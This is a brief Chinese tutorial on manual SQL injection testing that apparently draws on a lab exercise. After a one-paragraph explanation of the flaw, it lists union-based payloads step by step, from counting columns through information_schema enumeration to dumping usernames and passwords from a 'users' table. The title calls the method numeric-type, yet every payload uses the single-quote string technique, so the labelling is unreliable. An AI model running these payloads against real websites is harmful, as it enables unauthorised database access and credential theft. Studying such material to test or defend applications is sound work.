Sql注入--数字型手工测试

漏洞原因：是在数据交互中，前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行。从而导致数据库受损（被脱裤、被删除、甚至整个服务器权限沦陷）

测试语句：

发现有注入点，测试步骤：

判断字段数 1' order by 2--+
查看可代入查询的点 1' union select 1,2--+
爆数据库 1' union select 1,database()--+
爆表 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆字段 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆内容 1' union select 1,concat(user,0x2f,password) from users --+

判断字段数，看到有回显的，说明有2个字段数。